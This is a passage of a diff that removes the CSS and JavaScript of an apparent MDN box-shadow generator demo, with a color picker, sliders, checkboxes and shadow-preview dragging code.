-	background-image: url("https://mdn.mozillademos.org/files/5689/delete-white.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-	position: absolute;
-	top: 0;
-	right: 5px;
-	display: none;
-}
-
-#layer_menu .delete:hover {
-	background-image: url("https://mdn.mozillademos.org/files/5691/delete-yellow.png");
-}
-
-#layer_menu .button:hover .delete {
-	display: block;
-}
-
-
-/*
- * active element styling
- */
-
-#layer_menu [data-active='subject'] {
-	color: #FFF;
-	background-color: #379B4A;
-	border: 1px solid #379B4A;
-}
-
-
-/* Checkbox */
-
-#layer_menu .ui-checkbox > label {
-	height: 15px;
-	line-height: 17px;
-	font-weight: normal;
-	width: 46px;
-	margin: 0 5px 0 0;
-}
-
-#layer_menu .ui-checkbox > input:checked + label {
-	display: none;
-}
-
-
-/******************************************************************************/
-/******************************************************************************/
-/*
- * Preview Area
- */
-
-#preview_zone {
-	width: 82%;
-	float: left;
-
-}
-
-
-#preview {
-	width: 100%;
-	height: 400px;
-	border: 1px solid #CCC;
-	border-radius: 3px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-	cursor: move;
-	float: left;
-}
-
-#preview .content {
-	width: 100%;
-	height: 100%;
-	display: block;
-}
-
-#obj-element {
-	width: 300px;
-	height: 100px;
-	border: 1px solid #CCC;
-	background: #FFF;
-	position: relative;
-}
-
-
-#obj-before {
-	height: 100%;
-	width: 100%;
-	background: #999;
-	border: 1px solid #CCC;
-	text-align: left;
-	display : block;
-	position: absolute;
-	z-index: -1;
-}
-
-#obj-after {
-	height: 100%;
-	width: 100%;
-	background: #DDD;
-	border: 1px solid #CCC;
-	text-align: right;
-	display : block;
-	position: absolute;
-	z-index: -1;
-}
-
-
-/******************************************************************************/
-/******************************************************************************/
-
-/**
- * Controls
- */
-
-.wrap-left {
-	float: left;
-	overflow: hidden;
-}
-
-.wrap-right {
-	float: right;
-	overflow: hidden;
-}
-
-.wrap-left > * {
-	float: left;
-}
-
-.wrap-right > * {
-	float: right;
-}
-
-@media (min-width: 960px) {
-
-	.wrap-left {
-		width: 45%;
-	}
-
-	.wrap-right {
-		width: 55%;
-	}
-}
-
-
-@media (max-width: 959px) {
-
-	.wrap-left {
-		width: 30%;
-	}
-
-	.wrap-right {
-		width: 70%;
-	}
-}
-
-
-#controls {
-	color: #444;
-	margin: 10px 0 0 0;
-}
-
-
-#controls .category {
-	width: 500px;
-	margin: 0 auto 20px;
-	padding: 0;
-
-}
-
-#controls .category .title {
-	width: 100%;
-	height: 1.5em;
-	line-height: 1.5em;
-	color: #AAA;
-	text-align: right;
-}
-
-#controls .category > .group {
-	border: 1px solid #CCC;
-	border-radius: 3px;
-}
-
-
-/**
- * 	Color Picker
- */
-
-@media (min-width: 960px) {
-	#controls .colorpicker {
-		width: 420px;
-	}
-}
-
-@media (max-width: 959px) {
-	#controls .colorpicker {
-		width: 210px;
-	}
-}
-
-#colorpicker {
-	width: 100%;
-	margin: 0 auto;
-}
-
-#colorpicker .gradient {
-	width: 200px;
-	height: 200px;
-	margin: 5px;
-	background: url("https://mdn.mozillademos.org/files/5707/picker_mask_200.png");
-	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
-				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
-	background-color: #F00;
-	float: left;
-}
-
-#colorpicker .hue {
-	width: 200px;
-	height: 30px;
-	margin: 5px;
-	background: url("https://mdn.mozillademos.org/files/5701/hue.png");
-	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
-				#00F 66.66%, #F0F 83.33%, #F00 100%);
-	float: left;
-}
-
-#colorpicker .alpha {
-	width: 200px;
-	height: 30px;
-	margin: 5px;
-	border: 1px solid #CCC;
-	float: left;
-	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#colorpicker #alpha {
-	width: 100%;
-	height: 100%;
-	background: url("https://mdn.mozillademos.org/files/5703/alpha_mask.png");
-	background: -moz-linear-gradient(left, rgba(255, 0, 0, 0) 0%, rgba(255, 0, 0, 1) 100%);
-}
-
-#colorpicker #gradient_picker {
-	width: 0.5em;
-	height: 0.5em;
-	border-radius: 0.4em;
-	border: 2px solid #CCC;
-	position: relative;
-	top: 20%;
-	left: 20%;
-}
-
-#colorpicker #hue_selector,
-#colorpicker #alpha_selector {
-	width: 3px;
-	height: 100%;
-	border: 1px solid #777;
-	background-color: #FFF;
-	position: relative;
-	top: -1px;
-	left: 0%;
-}
-
-/* input HSV and RGB */
-#colorpicker .info {
-	width: 200px;
-	margin: 5px;
-	float: left;
-}
-
-#colorpicker .info * {
-	float: left;
-}
-
-#colorpicker .info input {
-	margin: 0;
-	text-align: center;
-	width: 30px;
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-#colorpicker .info span {
-	height: 20px;
-	width: 30px;
-	text-align: center;
-	line-height: 20px;
-	display: block;
-}
-
-/* Preview color */
-#colorpicker .block {
-	width: 95px;
-	height: 54px;
-	float: left;
-	position: relative;
-}
-
-#colorpicker .preview {
-	margin: 5px;
-	border: 1px solid #CCC;
-	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-#colorpicker .preview:before {
-	height: 100%;
-	width: 50%;
-	left: 50%;
-	content: "";
-	background: #FFF;
-	position: absolute;
-	z-index: 1;
-}
-
-#colorpicker .preview > * {
-	width: 50%;
-	height: 100%;
-}
-
-#colorpicker #output_color {
-	width: 100%;
-	height: 100%;
-	position: absolute;
-	z-index: 2;
-}
-
-#colorpicker .block .input {
-	float: right;
-}
-
-#colorpicker [data-topic="a"] > span {
-	width: 50px;
-}
-
-#colorpicker [data-topic="hexa"] {
-	float: right;
-	margin: 10px 0 0 0;
-}
-
-#colorpicker [data-topic="hexa"] > span {
-	display: none;
-}
-
-#colorpicker [data-topic="hexa"] > input {
-	width: 85px;
-	padding: 2px 0;
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-
-/*
- * UI Components
- */
-
-/* Property */
-
-.property {
-	height: 20px;
-	margin: 10px 0;
-}
-
-.property * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Slider */
-
-#controls .ui-slider-name {
-	margin: 0 10px 0 0;
-}
-
-/*
- * Output code styling
- */
-
-#output {
-	position: relative;
-}
-
-#output .menu {
-	max-width: 70%;
-	height: 20px;
-	position: absolute;
-	top: 2px;
-}
-
-#output .button {
-	width: 90px;
-	height: 22px;
-	margin: 0 5px 0 0;
-	text-align: center;
-	line-height: 20px;
-	font-size: 14px;
-	color: #FFF;
-	background-color: #999;
-	border-top-left-radius: 3px;
-	border-top-right-radius: 3px;
-	bottom: -5px;
-	float:left;
-}
-
-#output .button:hover {
-	color: #FFF;
-	background-color: #666;
-	cursor: pointer;
-}
-
-#output .menu [data-active="true"] {
-	color: #777;
-	background-color: #FFF;
-	border: 1px solid #CCC;
-	border-bottom: none;
-}
-
-#output .menu [data-topic="before"] {
-	left: 100px;
-}
-
-#output .menu [data-topic="after"] {
-	left: 200px;
-}
-
-#output .output {
-	width: 480px;
-	margin: 10px;
-	padding: 10px;
-	overflow: hidden;
-	color: #555;
-	font-size: 14px;
-	border: 1px dashed #CCC;
-	border-radius: 3px;
-	display: none;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: text;
-	-webkit-user-select: text;
-	-ms-user-select: text;
-}
-
-#output .css-property {
-	width: 100%;
-	float: left;
-	white-space: pre;
-}
-
-#output .name {
-	width: 35%;
-	float: left;
-}
-
-#output .value {
-	width: 65%;
-	float: left;
-}
-
-
- -

JavaScript Content

- -

-
-'use strict';
-
-/**
- * UI-SlidersManager
- */
-
-var SliderManager = (function SliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var Slider = function(node) {
-		var min = node.getAttribute('data-min') | 0;
-		var max = node.getAttribute('data-max') | 0;
-		var step = node.getAttribute('data-step') | 0;
-		var value = node.getAttribute('data-value') | 0;
-		var snap = node.getAttribute('data-snap');
-		var topic = node.getAttribute('data-topic');
-
-		this.min = min;
-		this.max = max > 0 ? max : 100;
-		this.step = step === 0 ? 1 : step;
-		this.value = value <= max && value >= min ? value : (min + max) / 2 | 0;
-		this.snap = snap === "true" ? true : false;
-		this.topic = topic;
-		this.node = node;
-
-		var pointer = document.createElement('div');
-		pointer.className = 'ui-slider-pointer';
-		node.appendChild(pointer);
-		this.pointer = pointer;
-
-		setMouseTracking(node, updateSlider.bind(this));
-
-		sliders[topic] = this;
-		setValue(topic, this.value);
-	}
-
-	var setButtonComponent = function setButtonComponent(node) {
-		var type = node.getAttribute('data-type');
-		var topic = node.getAttribute('data-topic');
-		if (type === "sub") {
-			node.textContent = '-';
-			node.addEventListener("click", function() {
-				decrement(topic);
-			});
-		}
-		if (type === "add") {
-			node.textContent = '+';
-			node.addEventListener("click", function() {
-				increment(topic);
-			});
-		}
-	}
-
-	var setInputComponent = function setInputComponent(node) {
-		var topic		= node.getAttribute('data-topic');
-		var unit_type	= node.getAttribute('data-unit');
-
-		var input = document.createElement('input');
-		var unit = document.createElement('span');
-		unit.textContent = unit_type;
-
-		input.setAttribute('type', 'text');
-		node.appendChild(input);
-		node.appendChild(unit);
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			setValue(topic, e.target.value | 0);
-		});
-
-		subscribe(topic, function(value) {
-			node.children[0].value = value;
-		});
-	}
-
-	var increment = function increment(topic) {
-		var slider = sliders[topic];
-		if (slider === null || slider === undefined)
-			return;
-
-		if (slider.value + slider.step <= slider.max) {
-			slider.value += slider.step;
-			setValue(slider.topic, slider.value)
-			notify.call(slider);
-		}
-	};
-
-	var decrement = function decrement(topic) {
-		var slider = sliders[topic];
-		if (slider === null || slider === undefined)
-			return;
-
-		if (slider.value - slider.step >= slider.min) {
-			slider.value -= slider.step;
-			setValue(topic, slider.value)
-			notify.call(slider);
-		}
-	}
-
-	// this = Slider object
-	var updateSlider = function updateSlider(e) {
-		var node = this.node;
-		var pos = e.pageX - node.offsetLeft;
-		var width = node.clientWidth;
-		var delta = this.max - this.min;
-		var offset = this.pointer.clientWidth + 4; // border width * 2
-
-		if (pos < 0) pos = 0;
-		if (pos > width) pos = width;
-
-		var value = pos * delta / width | 0;
-		var precision = value % this.step;
-		value = value - precision + this.min;
-		if (precision > this.step / 2)
-			value = value + this.step;
-
-		if (this.snap)
-			pos =  (value - this.min) * width / delta;
-
-		this.pointer.style.left = pos - offset/2 + "px";
-		this.value = value;
-		node.setAttribute('data-value', value);
-		notify.call(this);
-	}
-
-	var setValue = function setValue(topic, value) {
-		var slider = sliders[topic];
-
-		if (value > slider.max || value < slider.min)
-			return;
-
-		var delta = slider.max - slider.min;
-		var width = slider.node.clientWidth;
-		var offset = slider.pointer.clientWidth;
-		var pos =  (value - slider.min) * width / delta;
-		slider.value = value;
-		slider.pointer.style.left = pos - offset / 2 + "px";
-		slider.node.setAttribute('data-value', value);
-		notify.call(slider);
-	}
-
-	var setMouseTracking = function setMouseTracking(elem, callback) {
-		elem.addEventListener("mousedown", function(e) {
-			callback(e);
-			document.addEventListener("mousemove", callback);
-		});
-
-		document.addEventListener("mouseup", function(e) {
-			document.removeEventListener("mousemove", callback);
-		});
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-
-		for (var i in subscribers[this.topic]) {
-			subscribers[this.topic][i](this.value);
-		}
-	}
-
-	var init = function init() {
-		var elem, size;
-
-		elem = document.querySelectorAll('.ui-slider-btn-set');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			setButtonComponent(elem[i]);
-
-		elem = document.querySelectorAll('.ui-slider-input');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			setInputComponent(elem[i]);
-
-		elem = document.querySelectorAll('.ui-slider');
-		size = elem.length;
-		for (var i = 0; i < size; i++)
-			new Slider(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-/**
- * UI-ButtonManager
- */
-
-var ButtonManager = (function CheckBoxManager() {
-
-	var subscribers = [];
-	var buttons = [];
-
-	var CheckBox = function CheckBox(node) {
-		var topic = node.getAttribute('data-topic');
-		var state = node.getAttribute('data-state');
-		var name = node.getAttribute('data-label');
-		var align = node.getAttribute('data-text-on');
-
-		state = (state === "true");
-
-		var checkbox = document.createElement("input");
-		var label = document.createElement("label");
-
-		var id = 'checkbox-' + topic;
-		checkbox.id = id;
-		checkbox.setAttribute('type', 'checkbox');
-		checkbox.checked = state;
-
-		label.setAttribute('for', id);
-		if (name) {
-			label.className = 'text';
-			if (align)
-				label.className += ' ' + align;
-			label.textContent = name;
-		}
-
-		node.appendChild(checkbox);
-		node.appendChild(label);
-
-		this.node = node;
-		this.topic = topic;
-		this.checkbox = checkbox;
-
-		checkbox.addEventListener('change', function(e) {
-			notify.call(this);
-		}.bind(this));
-
-		buttons[topic] = this;
-	}
-
-	var getNode =  function getNode(topic) {
-		return buttons[topic].node;
-	}
-
-	var setValue = function setValue(topic, value) {
-		try {
-			buttons[topic].checkbox.checked = value;
-			notify.call(buttons[topic]);
-		}
-		catch(error) {
-			console.log(error, topic, value);
-		}
-	}
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	}
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	}
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.checkbox.checked);
-	}
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-checkbox');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new CheckBox(elem[i]);
-	}
-
-	return {
-		init : init,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe
-	}
-
-})();
-
-
-window.addEventListener("load", function(){
-	BoxShadow.init();
-});
-
-var BoxShadow = (function BoxShadow() {
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	/**
-	 * RGBA Color class
-	 */
-
-	function Color() {
-		this.r = 0;
-		this.g = 0;
-		this.b = 0;
-		this.a = 1;
-		this.hue = 0;
-		this.saturation = 0;
-		this.value = 0;
-	}
-
-	Color.prototype.copy = function copy(obj) {
-		if(obj instanceof Color !== true) {
-			console.log("Typeof instance not Color");
-			return;
-		}
-
-		this.r = obj.r;
-		this.g = obj.g;
-		this.b = obj.b;
-		this.a = obj.a;
-		this.hue = obj.hue;
-		this.saturation = obj.saturation;
-		this.value = obj.value;
-	}
-
-	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
-		if (red != undefined)
-			this.r = red | 0;
-		if (green != undefined)
-			this.g = green | 0;
-		if (blue != undefined)
-			this.b = blue | 0;
-		if (alpha != undefined)
-			this.a = alpha | 0;
-	}
-
-	/**
-	 * HSV/HSB (hue, saturation, value / brightness)
-	 * @param hue			0-360
-	 * @param saturation	0-100
-	 * @param value 		0-100
-	 */
-	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
-		this.hue = hue;
-		this.saturation = saturation;
-		this.value = value;
-		this.updateRGB();
-	}
-
-	Color.prototype.updateRGB = function updateRGB() {
-		var sat = this.saturation / 100;
-		var value = this.value / 100;
-		var C = sat * value;
-		var H = this.hue / 60;
-		var X = C * (1 - Math.abs(H % 2 - 1));
-		var m = value - C;
-		var precision = 255;
-
-		C = (C + m) * precision;
-		X = (X + m) * precision;
-		m = m * precision;
-
-		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
-		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
-		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
-		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
-		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
-		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
-	}
-
-	Color.prototype.updateHSV = function updateHSV() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / cmax;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.value = (cmax * 100) | 0;
-	}
-
-	Color.prototype.setHexa = function setHexa(value) {
-		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value)
-		if (valid !== true)
-			return;
-
-		if (value[0] === '#')
-			value = value.slice(1, value.length);
-
-		if (value.length === 3)
-			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,"$1$1$2$2$3$3");
-
-		this.r = parseInt(value.substr(0, 2), 16);
-		this.g = parseInt(value.substr(2, 2), 16);
-		this.b = parseInt(value.substr(4, 2), 16);
-
-		this.alpha	= 1;
-	}
-
-	Color.prototype.getHexa = function getHexa() {
-		var r = this.r.toString(16);
-		var g = this.g.toString(16);
-		var b = this.b.toString(16);
-		if (this.r < 16) r = '0' + r;
-		if (this.g < 16) g = '0' + g;
-		if (this.b < 16) b = '0' + b;
-		var value = '#' + r + g + b;
-		return value.toUpperCase();
-	}
-
-	Color.prototype.getRGBA = function getRGBA() {
-
-		var rgb = "(" + this.r + ", " + this.g + ", " + this.b;
-		var a = '';
-		var v = '';
-		if (this.a !== 1) {
-			a = 'a';
-			v = ', ' + this.a;
-		}
-
-		var value = "rgb" + a + rgb + v + ")";
-		return value;
-	}
-
-	Color.prototype.getColor = function getColor() {
-		if (this.a | 0 === 1)
-			return this.getHexa();
-		return this.getRGBA();
-	}
-
-	/**
-	 * Shadow Object
-	 */
-	function Shadow() {
-		this.inset  = false;
-		this.posX   = 5;
-		this.posY   = -5;
-		this.blur   = 5;
-		this.spread = 0;
-		this.color  = new Color();
-
-		var hue			= (Math.random() * 360) | 0;
-		var saturation	= (Math.random() * 75) | 0;
-		var value 		= (Math.random() * 50 + 50) | 0;
-		this.color.setHSV(hue, saturation, value, 1);
-	}
-
-	Shadow.prototype.computeCSS = function computeCSS() {
-		var value = "";
-		if (this.inset === true)
-			value += "inset ";
-		value += this.posX + "px ";
-		value += this.posY + "px ";
-		value += this.blur + "px ";
-		value += this.spread + "px ";
-		value += this.color.getColor();
-
-		return value;
-	}
-
-	Shadow.prototype.toggleInset = function toggleInset(value) {
-		if (value !== undefined || typeof value === "boolean")
-			this.inset = value;
-		else
-			this.inset = this.inset === true ? false : true;
-	}
-
-	Shadow.prototype.copy = function copy(obj) {
-		if(obj instanceof Shadow !== true) {
-			console.log("Typeof instance not Shadow");
-			return;
-		}
-
-		this.inset  = obj.inset;
-		this.posX   = obj.posX;
-		this.posY   = obj.posY;
-		this.blur   = obj.blur;
-		this.spread = obj.spread;
-		this.color.copy(obj.color);
-	}
-
-	/**
-	 * Color Picker
-	 */
-	var ColoPicker = (function ColoPicker() {
-
-		var colorpicker;
-		var hue_area;
-		var gradient_area;
-		var alpha_area;
-		var gradient_picker;
-		var hue_selector;
-		var alpha_selector;
-		var pick_object;
-		var info_rgb;
-		var info_hsv;
-		var info_hexa;
-		var output_color;
-		var color = new Color();
-		var subscribers = [];
-
-		var updateColor = function updateColor(e) {
-			var x = e.pageX - gradient_area.offsetLeft;
-			var y = e.pageY - gradient_area.offsetTop;
-
-			// width and height should be the same
-			var size = gradient_area.clientWidth;
-
-			if (x > size)
-				x = size;
-			if (y > size)
-				y = size;
-
-			if (x < 0) x = 0;
-			if (y < 0) y = 0;
-
-			var value = 100 - (y * 100 / size) | 0;
-			var saturation = x * 100 / size | 0;
-
-			color.setHSV(color.hue, saturation, value);
-			// should update just
-			// color pointer location
-			updateUI();
-			notify("color", color);
-		}
-
-		var updateHue = function updateHue(e) {
-			var x = e.pageX - hue_area.offsetLeft;
-			var width = hue_area.clientWidth;
-
-			if (x < 0) x = 0;
-			if (x > width) x = width;
-
-			var hue = ((360 * x) / width) | 0;
-			if (hue === 360) hue = 359;
-
-			color.setHSV(hue, color.saturation, color.value);
-
-			// should update just
-			// hue pointer location
-			// picker area background
-			// alpha area background
-			updateUI();
-			notify("color", color);
-		}
-
-		var updateAlpha = function updateAlpha(e) {
-			var x = e.pageX - alpha_area.offsetLeft;
-			var width = alpha_area.clientWidth;
-
-			if (x < 0) x = 0;
-			if (x > width) x = width;
-
-			color.a = (x / width).toFixed(2);
-
-			// should update just
-			// alpha pointer location
-			updateUI();
-			notify("color", color);
-		}
-
-		var setHueGfx = function setHueGfx(hue) {
-			var sat = color.saturation;
-			var val = color.value;
-			var alpha = color.a;
-
-			color.setHSV(hue, 100, 100);
-			gradient_area.style.backgroundColor = color.getHexa();
-
-			color.a = 0;
-			var start = color.getRGBA();
-			color.a = 1;
-			var end = color.getRGBA();
-			color.a = alpha;
-
-			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
-			alpha_area.style.background = gradient;
-		}
-
-		var updateUI = function updateUI() {
-			var x, y;		// coordinates
-			var size;		// size of the area
-			var offset;		// pointer graphic selector offset
-
-			// Set color pointer location
-			size = gradient_area.clientWidth;
-			offset = gradient_picker.clientWidth / 2 + 2;
-
-			x = (color.saturation * size / 100) | 0;
-			y = size - (color.value * size / 100) | 0;
-
-			gradient_picker.style.left = x - offset + "px";
-			gradient_picker.style.top = y - offset + "px";
-
-			// Set hue pointer location
-			size = hue_area.clientWidth;
-			offset = hue_selector.clientWidth/2;
-			x = (color.hue * size / 360 ) | 0;
-			hue_selector.style.left = x - offset + "px";
-
-			// Set alpha pointer location
-			size = alpha_area.clientWidth;
-			offset = alpha_selector.clientWidth/2;
-			x = (color.a * size) | 0;
-			alpha_selector.style.left = x - offset + "px";
-
-			// Set picker area background
-			var nc = new Color();
-			nc.copy(color);
-			if (nc.hue === 360) nc.hue = 0;
-			nc.setHSV(nc.hue, 100, 100);
-			gradient_area.style.backgroundColor = nc.getHexa();
-
-			// Set alpha area background
-			nc.copy(color);
-			nc.a = 0;
-			var start = nc.getRGBA();
-			nc.a = 1;
-			var end = nc.getRGBA();
-			var gradient = '-moz-linear-gradient(left, ' +	start + '0%, ' + end + ' 100%)';
-			alpha_area.style.background = gradient;
-
-			// Update color info
-			notify("color", color);
-			notify("hue", color.hue);
-			notify("saturation", color.saturation);
-			notify("value", color.value);
-			notify("r", color.r);
-			notify("g", color.g);
-			notify("b", color.b);
-			notify("a", color.a);
-			notify("hexa", color.getHexa());
-			output_color.style.backgroundColor = color.getRGBA();
-		}
-
-		var setInputComponent = function setInputComponent(node) {
-			var topic = node.getAttribute('data-topic');
-			var title = node.getAttribute('data-title');
-			var action = node.getAttribute('data-action');
-			title = title === null ? '' : title;
-
-			var input = document.createElement('input');
-			var info = document.createElement('span');
-			info.textContent = title;
-
-			input.setAttribute('type', 'text');
-			input.setAttribute('data-action', 'set-' + action + '-' + topic);
-			node.appendChild(info);
-			node.appendChild(input);
-
-			input.addEventListener('click', function(e) {
-				this.select();
-			});
-
-			input.addEventListener('change', function(e) {
-				if (action === 'HSV')
-					inputChangeHSV(topic);
-				if (action === 'RGB')
-					inputChangeRGB(topic);
-				if (action === 'alpha')
-					inputChangeAlpha(topic);
-				if (action === 'hexa')
-					inputChangeHexa(topic);
-			});
-
-			subscribe(topic, function(value) {
-				node.children[1].value = value;
-			});
-		}
-
-		var inputChangeHSV = function actionHSV(topic) {
-			var selector = "[data-action='set-HSV-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseInt(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value < 360)
-				color[topic] = value;
-
-			color.updateRGB();
-			updateUI();
-		}
-
-		var inputChangeRGB = function inputChangeRGB(topic) {
-			var selector = "[data-action='set-RGB-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseInt(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value <= 255)
-				color[topic] = value;
-
-			color.updateHSV();
-			updateUI();
-		}
-
-		var inputChangeAlpha = function inputChangeAlpha(topic) {
-			var selector = "[data-action='set-alpha-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = parseFloat(node.value);
-
-			if (typeof value === 'number' && isNaN(value) === false &&
-				value >= 0 && value <= 1)
-				color.a = value.toFixed(2);
-
-			updateUI();
-		}
-
-		var inputChangeHexa = function inputChangeHexa(topic) {
-			var selector = "[data-action='set-hexa-" + topic + "']";
-			var node = document.querySelector("#colorpicker " + selector);
-			var value = node.value;
-			color.setHexa(value);
-			color.updateHSV();
-			updateUI();
-		}
-
-		var setMouseTracking = function setMouseTracking(elem, callback) {
-
-			elem.addEventListener("mousedown", function(e) {
-				callback(e);
-				document.addEventListener("mousemove", callback);
-			});
-
-			document.addEventListener("mouseup", function(e) {
-				document.removeEventListener("mousemove", callback);
-			});
-		}
-
-		/*
-		 * Observer
-		 */
-		var setColor = function setColor(obj) {
-			if(obj instanceof Color !== true) {
-				console.log("Typeof instance not Color");
-				return;
-			}
-			color.copy(obj);
-			updateUI();
-		}
-
-		var subscribe = function subscribe(topic, callback) {
-			if (subscribers[topic] === undefined)
-				subscribers[topic] = [];
-
-			subscribers[topic].push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(topic, value) {
-			for (var i in subscribers[topic])
-				subscribers[topic][i](value);
-		}
-
-		var init = function init() {
-			colorpicker		= getElemById("colorpicker");
-			hue_area		= getElemById("hue");
-			gradient_area	= getElemById("gradient");
-			alpha_area		= getElemById("alpha");
-			gradient_picker	= getElemById("gradient_picker");
-			hue_selector	= getElemById("hue_selector");
-			alpha_selector	= getElemById("alpha_selector");
-			output_color	= getElemById("output_color");
-
-			var elem = document.querySelectorAll('#colorpicker .input');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				setInputComponent(elem[i]);
-
-			setMouseTracking(gradient_area, updateColor);
-			setMouseTracking(hue_area, updateHue);
-			setMouseTracking(alpha_area, updateAlpha);
-
-		}
-
-		return {
-			init : init,
-			setColor : setColor,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	/**
-	 * Shadow dragging
-	 */
-	var PreviewMouseTracking = (function Drag() {
-		var active = false;
-		var lastX = 0;
-		var lastY = 0;
-		var subscribers = [];
-
-		var init = function init(id) {
-			var elem = getElemById(id);
-			elem.addEventListener('mousedown', dragStart, false);
-			document.addEventListener('mouseup', dragEnd, false);
-		}
-
-		var dragStart = function dragStart(e) {
-			if (e.button !== 0)
-				return;
-
-			active = true;
-			lastX = e.clientX;
-			lastY = e.clientY;
-			document.addEventListener('mousemove', mouseDrag, false);
-		}
-
-		var dragEnd = function dragEnd(e) {
-			if (e.button !== 0)
-				return;
-
-			if (active === true) {
-				active = false;
-				document.removeEventListener('mousemove', mouseDrag, false);
-			}
-		}
-
-		var mouseDrag = function mouseDrag(e) {
-			notify(e.clientX - lastX, e.clientY - lastY);
-			lastX = e.clientX;
-			lastY = e.clientY;
-		}
-
-		var subscribe = function subscribe(callback) {
-			subscribers.push(callback);
-		}
-
-		var unsubscribe = function unsubscribe(callback) {
-			var index = subscribers.indexOf(callback);
-			subscribers.splice(index, 1);
-		}
-
-		var notify = function notify(deltaX, deltaY) {
-			for (var i in subscribers)
-				subscribers[i](deltaX, deltaY);
-		}
-
-		return {
-			init : init,
-			subscribe : subscribe,
-			unsubscribe : unsubscribe
-		}
-
-	})();
-
-	/*
-	 * Element Class
-	 */
-	var CssClass = function CssClass(id) {
-		this.left = 0;
-		this.top = 0;
-		this.rotate = 0;
-		this.width = 300;
-		this.height = 100;
-		this.display = true;
-		this.border = true;
-		this.zIndex = -1;
-		this.bgcolor = new Color();
-		this.id = id;
-		this.node = getElemById('obj-' + id);
-		this.object = getElemById(id);
-		this.shadowID = null;
-		this.shadows = []
-		this.render = [];
-		this.init();
-	}
-
-	CssClass.prototype.init = function init() {
-		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
-		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
-
